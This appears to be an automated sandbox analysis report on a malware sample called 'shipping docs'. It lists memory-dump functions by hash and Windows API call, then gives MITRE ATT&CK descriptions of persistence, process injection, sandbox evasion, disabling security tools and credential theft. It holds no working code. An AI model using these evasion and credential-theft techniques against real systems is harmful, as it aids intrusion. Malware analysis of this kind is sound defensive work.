
Memory Dump Source

Source File: 00000003.00000002.548518531.00000000061F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61f0000_shipping docs.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: e9cc8ef7262e6bb23acf94ca8c12ae10157c0f42b913579f16711eb133422f20
Instruction ID: 9991b53b16ac6bef1f28200722dd0a4cac599cc31d1f258e4b6a4c4b672286e5
Opcode Fuzzy Hash: e9cc8ef7262e6bb23acf94ca8c12ae10157c0f42b913579f16711eb133422f20
Instruction Fuzzy Hash: 4BD1C834906258CFDB68DF64D898A9CB7B2BF49306F1045E9D60E66350CB399EC2CF61

Uniqueness

Uniqueness Score: -1.00%

Function 061F9FFB Relevance: 1.8, APIs: 1, Instructions: 257COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 061FA0A0

Memory Dump Source

Source File: 00000003.00000002.548518531.00000000061F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61f0000_shipping docs.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 378c35fc4109cf1c7271865c3afc6a0946c00472ca14fda3f6ce502308faa4f4
Instruction ID: 0645a0f5a5d5ea01ec514d6bd27f75f0d5dc72713a0cc72b97765a5fb626b704
Opcode Fuzzy Hash: 378c35fc4109cf1c7271865c3afc6a0946c00472ca14fda3f6ce502308faa4f4
Instruction Fuzzy Hash: 4BD1C734906218CFDB68DF64D898A9CB7B2BF49306F1045E9D60E66350CB399EC2CF61

Uniqueness

Uniqueness Score: -1.00%

Function 061FA037 Relevance: 1.8, APIs: 1, Instructions: 252COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 061FA0A0

Memory Dump Source

Source File: 00000003.00000002.548518531.00000000061F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61f0000_shipping docs.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 8a76d98402e81906e5cc6549e16d02981a2e0365cb8ede97b3e75481d3f3658b
Instruction ID: 73283dff9e4dd18cc9bfa5507db2f74dd6c24c57ce6869a722576e41eac5c19b
Opcode Fuzzy Hash: 8a76d98402e81906e5cc6549e16d02981a2e0365cb8ede97b3e75481d3f3658b
Instruction Fuzzy Hash: DDD1B834906258CFDB68DF64D898A9CB7B2BF49306F1045E9D60E66350CB399EC2CF61

Uniqueness

Uniqueness Score: -1.00%

Function 02DF0877 Relevance: 1.8, APIs: 1, Instructions: 252COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.516802887.0000000002DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2df0000_shipping docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ccd9966f9fd03aaca75a6b76f7c19c4a5c943b030a41700fd257e76135352dc
Instruction ID: 5c5792d1d90cd842242e0b2329779d653d98325af26442131adf41560defc118
Opcode Fuzzy Hash: 1ccd9966f9fd03aaca75a6b76f7c19c4a5c943b030a41700fd257e76135352dc
Instruction Fuzzy Hash: 2E813631E042088FDF50CFA9D8847EEBBB0EB89325F15846AE609E7396D7348C55CB95

Uniqueness

Uniqueness Score: -1.00%

Function 061FA07C Relevance: 1.7, APIs: 1, Instructions: 245COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 061FA0A0

Memory Dump Source

Source File: 00000003.00000002.548518531.00000000061F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61f0000_shipping docs.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 0e661fbf85451ef567dfff37ae41ae03b630cf57a41b4466cd497ac0914f0964
Instruction ID: f3dd308b0d6d0041a548e0cb540297d093cd636953c78d6ac1df005514ca50a5
Opcode Fuzzy Hash: 0e661fbf85451ef567dfff37ae41ae03b630cf57a41b4466cd497ac0914f0964
Instruction Fuzzy Hash: 59D1C934906258CFDB68DF64D898A9CB7B2BF49306F1045E9D60E66350CB399EC2CF61

Uniqueness

Uniqueness Score: -1.00%

Function 068496B8 Relevance: 1.7, APIs: 1, Instructions: 196libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 06849779

Memory Dump Source

Source File: 00000003.00000002.552253904.0000000006840000.00000040.00000800.00020000.00000000.sdmp, Offset: 06840000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6840000_shipping docs.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 00553a996aae6215797c998182c515953a44a225be5817bbdc84c17921105e96
Instruction ID: 6ef29bd18e5b407f708ce7070ab088e739b09b40b68185f9eeface66ec483214
Opcode Fuzzy Hash: 00553a996aae6215797c998182c515953a44a225be5817bbdc84c17921105e96
Instruction Fuzzy Hash: F061C530B402099FCB50EBB4D858AEFB7B6EF85308F14856AE506DB751EF30D8458BA1

Uniqueness

Uniqueness Score: -1.00%

Function 061F8518 Relevance: 1.7, APIs: 1, Instructions: 173fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE(00000000), ref: 061F86D8

Memory Dump Source

Source File: 00000003.00000002.548518531.00000000061F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61f0000_shipping docs.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 449e4be5a6be0b6389628408db9b849a0a26fcab810814292c46f4c010d10705
Instruction ID: 1e9e3cd549dfb053370375e526689479e8ac1ef75f3c248f2e379afe6d51b71c
Opcode Fuzzy Hash: 449e4be5a6be0b6389628408db9b849a0a26fcab810814292c46f4c010d10705
Instruction Fuzzy Hash: FC51CE71E10259DFCB50CF58C844BAEBBF6EF48324F04C42AE919AB240C774A945CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 06849718 Relevance: 1.6, APIs: 1, Instructions: 148libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 06849779

Memory Dump Source

Source File: 00000003.00000002.552253904.0000000006840000.00000040.00000800.00020000.00000000.sdmp, Offset: 06840000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6840000_shipping docs.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: d49430c7e092300dac41f475f1ebcb78f026a3ccddb3d2ab6ea37418accf518f
Instruction ID: 70e806e75a1e65df8159376e4daced78a73ffa1608bacea381ec06a58b59957a
Opcode Fuzzy Hash: d49430c7e092300dac41f475f1ebcb78f026a3ccddb3d2ab6ea37418accf518f
Instruction Fuzzy Hash: 40518371A402099FCF44AFB4D858AAEB7B6FF84308F158969D516DB741EF31E8448BA0

Uniqueness

Uniqueness Score: -1.00%

Function 0684FA19 Relevance: 1.6, APIs: 1, Instructions: 125registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNELBASE(00000000,00000000,?,?,00000000,?), ref: 0684FB31

Memory Dump Source

Source File: 00000003.00000002.552253904.0000000006840000.00000040.00000800.00020000.00000000.sdmp, Offset: 06840000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6840000_shipping docs.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: a637d43720a54e72d02b2b05a2016a77a28365044f12ec2932801dd6095e60e4
Instruction ID: 0bf35cd715291c17d1ad7eadd372e835704dbc9940f547b3c4d527519041dcfc
Opcode Fuzzy Hash: a637d43720a54e72d02b2b05a2016a77a28365044f12ec2932801dd6095e60e4
Instruction Fuzzy Hash: 524136B0D003589FCB10DFA9D884A9EBFF5AF88704F15806EE918AB341D7349945CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0684F761 Relevance: 1.6, APIs: 1, Instructions: 120registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(80000001,00000000,?,00000001,?), ref: 0684F874

Memory Dump Source

Source File: 00000003.00000002.552253904.0000000006840000.00000040.00000800.00020000.00000000.sdmp, Offset: 06840000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6840000_shipping docs.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: c1b1d42bd4a685345c5d9b60317f455028bce98cf8b062ad6864cb358eb3e56b
Instruction ID: dea91758d0c9154b9fcf1d6ee0cf4e8e7b1479c2fde8e2bf1708d3091c8ba072
Opcode Fuzzy Hash: c1b1d42bd4a685345c5d9b60317f455028bce98cf8b062ad6864cb358eb3e56b
Instruction Fuzzy Hash: B6414670E053899FDB10DFA9C548A9EBFF5EB88304F15816AE508AB341C7759845CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 02DFD66D Relevance: 1.6, APIs: 1, Instructions: 89libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?), ref: 02DFD742

Memory Dump Source

Source File: 00000003.00000002.516802887.0000000002DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2df0000_shipping docs.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: aa86b24d847757749c67f29fdf35369123bbfd4bbdd6c9fed0f40306b5ab8224
Instruction ID: d3150a6e1ff29926faa0a79710bb91f074b71eb66ba09ec41a64825288c36c94
Opcode Fuzzy Hash: aa86b24d847757749c67f29fdf35369123bbfd4bbdd6c9fed0f40306b5ab8224
Instruction Fuzzy Hash: 57314AB4D102498FDB14CFA9D8857DEFBF2BB08314F158529E816AB380D7749885CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 02DFB734 Relevance: 1.6, APIs: 1, Instructions: 89libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?), ref: 02DFD742

Memory Dump Source

Source File: 00000003.00000002.516802887.0000000002DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2df0000_shipping docs.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: ccff7681dffc77389e74506cfabb8fe796e02b47066e96c3c8f50f0b22b4a8d9
Instruction ID: 5a1f556f25a5dc82b964d233c0ca14e4e934afb1519fa3ed8d4ea85c25ca3857
Opcode Fuzzy Hash: ccff7681dffc77389e74506cfabb8fe796e02b47066e96c3c8f50f0b22b4a8d9
Instruction Fuzzy Hash: EF3139B0D002498FDF54CFA9D88579EFBF2BB08314F158129E916AB380D7749845CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 0684EE98 Relevance: 1.6, APIs: 1, Instructions: 88registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNELBASE(00000000,00000000,?,?,00000000,?), ref: 0684FB31

Memory Dump Source

Source File: 00000003.00000002.552253904.0000000006840000.00000040.00000800.00020000.00000000.sdmp, Offset: 06840000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6840000_shipping docs.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 409e3ed2006225ac9cb305802355462496042c7d6b23281a4216b2b23134030f
Instruction ID: 84153ea188217bea71074242b22cdfef6f2864fc575cd70222f34ee40b385e19
Opcode Fuzzy Hash: 409e3ed2006225ac9cb305802355462496042c7d6b23281a4216b2b23134030f
Instruction Fuzzy Hash: B831EEB1D0025C9FCB20DF9AC884A9EFBF5BF88314F15812AE919AB310C7749945CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0684EE8C Relevance: 1.6, APIs: 1, Instructions: 83registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(80000001,00000000,?,00000001,?), ref: 0684F874

Memory Dump Source

Source File: 00000003.00000002.552253904.0000000006840000.00000040.00000800.00020000.00000000.sdmp, Offset: 06840000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6840000_shipping docs.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 617b4c4a00ce9c97fccac450c41fa11d2d33bdfb15084ef73e778eb3cb2c2fca
Instruction ID: 77e6d6506dc45ba37c6295f055fa6002b15c84d4789f6838e09ee3f75fd0143f
Opcode Fuzzy Hash: 617b4c4a00ce9c97fccac450c41fa11d2d33bdfb15084ef73e778eb3cb2c2fca
Instruction Fuzzy Hash: 6C31E0B1D0424D9FDB14DF99C584A8EFBF5BF88304F29816EE909AB340C7759885CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 066FFB41 Relevance: 1.6, APIs: 1, Instructions: 68COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 066FFBCF

Memory Dump Source

Source File: 00000003.00000002.550173381.00000000066F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_66f0000_shipping docs.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 81a63d595f096899f15891fc9e93652aaefab275ceff0618ec18753c7aa87f9c
Instruction ID: e8b623aa1e51553b2bf323defa70082b0e6b38f7e83f3c91baa6a08321125ff9
Opcode Fuzzy Hash: 81a63d595f096899f15891fc9e93652aaefab275ceff0618ec18753c7aa87f9c
Instruction Fuzzy Hash: BF21E2B5900249AFDB10CFA9D984ADEFFF9FB48324F14845AE954A3310D378A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 066FFB48 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 066FFBCF

Memory Dump Source

Source File: 00000003.00000002.550173381.00000000066F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_66f0000_shipping docs.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: c73f5d6386e9029ea9386d158a85d1765852835fce2f7b4295da7ba4f8bbe813
Instruction ID: abed57be82c723da877aa3aa3c9a03e59c5cb3beb61ef9f8cdf6830a0eaf2e4b
Opcode Fuzzy Hash: c73f5d6386e9029ea9386d158a85d1765852835fce2f7b4295da7ba4f8bbe813
Instruction Fuzzy Hash: 3521F3B5D002499FDB10CFA9D884ADEFBF8FB48324F14845AE954A3310D378A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 02DF579F Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000), ref: 02DF582A

Memory Dump Source

Source File: 00000003.00000002.516802887.0000000002DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2df0000_shipping docs.jbxd

Similarity

API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: cabd5bba06d228518f50fede5e8a4d1c7c229a630a35f151139c997a6b64a005
Instruction ID: fb8d8e02ca285dc410d06731feca217abbcdcc8f6130edfc1053d9e7ed0a5140
Opcode Fuzzy Hash: cabd5bba06d228518f50fede5e8a4d1c7c229a630a35f151139c997a6b64a005
Instruction Fuzzy Hash: 5C21BE788003848FCB50CFA9E4497DABBF8FB08314F14806AD504A7741C379A585CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 061F6324 Relevance: 1.6, APIs: 1, Instructions: 59fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE(00000000), ref: 061F86D8

Memory Dump Source

Source File: 00000003.00000002.548518531.00000000061F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61f0000_shipping docs.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 86dd6e4290d74e6387001f710137bc835a81320a181885e0deaa0849ac65cfde
Instruction ID: 10a5e7940626996e2b0fd237a9be269b429576338b8eebea45786014aef24577
Opcode Fuzzy Hash: 86dd6e4290d74e6387001f710137bc835a81320a181885e0deaa0849ac65cfde
Instruction Fuzzy Hash: 312142B1C1065A8BCB50CF9AC444BAEFBB4FB48224F05816AE918B7240D738A945CFE1

Uniqueness

Uniqueness Score: -1.00%

Function 02DF57B0 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000), ref: 02DF582A

Memory Dump Source

Source File: 00000003.00000002.516802887.0000000002DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2df0000_shipping docs.jbxd

Similarity

API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: 915dc2eef03c24d4f1003f9c0435b7c6335a3abd9655ce7998ecc8822bcc8fcc
Instruction ID: c35353984d996f709a1ccafb44e341ab17e4f7098b849d2f898db209b9813a3f
Opcode Fuzzy Hash: 915dc2eef03c24d4f1003f9c0435b7c6335a3abd9655ce7998ecc8822bcc8fcc
Instruction Fuzzy Hash: 25116AB89003898FCB50CFA9E54879EBBF8FB48314F548029D505A7740D779A984CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 02DF0A98 Relevance: 1.6, APIs: 1, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

VirtualAllocExNuma.KERNELBASE(?,?,?,?,?,?), ref: 02DF0B06

Memory Dump Source

Source File: 00000003.00000002.516802887.0000000002DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2df0000_shipping docs.jbxd

Similarity

API ID: AllocNumaVirtual
String ID:
API String ID: 4233825816-0
Opcode ID: 063535e5b50ff8b9df82fccb0e93658ccfa7af12839cffaabd029957b8b22bd1
Instruction ID: ebeea86389e6f034e05049ff699e64f1d336f24086b2cb7d05173ed9190dc63f
Opcode Fuzzy Hash: 063535e5b50ff8b9df82fccb0e93658ccfa7af12839cffaabd029957b8b22bd1
Instruction Fuzzy Hash: 1D1123B19002499FCB10CF9AD884BDFBBF4FB88324F158419E558A7310C375A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 02DF0B4A Relevance: 1.3, APIs: 1, Instructions: 42sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE ref: 02DF0BAF

Memory Dump Source

Source File: 00000003.00000002.516802887.0000000002DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2df0000_shipping docs.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: e1342325ca2dc3e138ea310d9cc6852ae40e7f0149c984455c0d2a02d0219805
Instruction ID: 182ff90c8a7626a79cdfcaaf58d2e2d58c8251bf7ec613018dcb7ee1ff87c232
Opcode Fuzzy Hash: e1342325ca2dc3e138ea310d9cc6852ae40e7f0149c984455c0d2a02d0219805
Instruction Fuzzy Hash: B11100B09002498FCB10DF9AD489BDEBBF4AB48328F11845AD559A7340D374A944CFA2

Uniqueness

Uniqueness Score: -1.00%

Function 02DF0B50 Relevance: 1.3, APIs: 1, Instructions: 41sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE ref: 02DF0BAF

Memory Dump Source

Source File: 00000003.00000002.516802887.0000000002DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2df0000_shipping docs.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 3d5f42c830de16bbcdb87874af3b0e16e178a5ed2f1cdb3c447e243a58151201
Instruction ID: 0dc941471aaa177b8d1d2de99c9c5becd101b8a41fefebde069c41da0143f080
Opcode Fuzzy Hash: 3d5f42c830de16bbcdb87874af3b0e16e178a5ed2f1cdb3c447e243a58151201
Instruction Fuzzy Hash: 72111EB08002498FCB10CF9AD484BDEFBF4FB88328F11845AD568A7340C374A944CFA2

Uniqueness

Uniqueness Score: -1.00%

Function 02CBE16B Relevance: .3, Instructions: 308COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.515938608.0000000002CBD000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CBD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cbd000_shipping docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15c55003f52b560274cda59af694287df9edd388a0734da46c7a517345bd268a
Instruction ID: 3467a0a27a0449c74922ab52c47624a629bba6dbb25a6619b04f5414ad860f74
Opcode Fuzzy Hash: 15c55003f52b560274cda59af694287df9edd388a0734da46c7a517345bd268a
Instruction Fuzzy Hash: BA716F7544E7C0AFD3138B309CA5BC67F709F43219F5980EBE1C48A1B3D26A995AC762

Uniqueness

Uniqueness Score: -1.00%

Function 02CAD4D8 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.515690458.0000000002CAD000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CAD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cad000_shipping docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76f20bf575b366a57116dd1a8fc0ea9a5099c9478714c0e8432c67ab291c799d
Instruction ID: 39548bf6f686a6aa8b428ee04bf1fff93716a6baaea88c7b8d34479142127528
Opcode Fuzzy Hash: 76f20bf575b366a57116dd1a8fc0ea9a5099c9478714c0e8432c67ab291c799d
Instruction Fuzzy Hash: 672164F2504245DFDB04CF00D8D4B26BBA5FB8832CF2486A9E9074B606C336D946CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 02CBE3F0 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.515938608.0000000002CBD000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CBD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cbd000_shipping docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1116ed96bb984c60129c4deeeb6146bba5e01f8347a40f9eb86a905961fafc49
Instruction ID: ce7941dae5cab19c3bc929614e8bb3fd7ca81caa27831802596253aefa50af6e
Opcode Fuzzy Hash: 1116ed96bb984c60129c4deeeb6146bba5e01f8347a40f9eb86a905961fafc49
Instruction Fuzzy Hash: A42125B1604244DFDB01CF90D8C0BA6BB65FF88714F24C969D9494B346C336D806CEA1

Uniqueness

Uniqueness Score: -1.00%

Function 02CAD4D3 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.515690458.0000000002CAD000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CAD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cad000_shipping docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4ebfea70809b752dd87daf1091c6fefd11053e22c75fac3715a094701740d1c
Instruction ID: 50fe0d25d68a62026106d3e5c84846c568cfe49c6e3b21038468ea5e132ce23f
Opcode Fuzzy Hash: a4ebfea70809b752dd87daf1091c6fefd11053e22c75fac3715a094701740d1c
Instruction Fuzzy Hash: 7D11D3B6404281CFCB11CF10D5C4B16BF71FB88328F2486A9D8060B656C33AD556CBA1

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
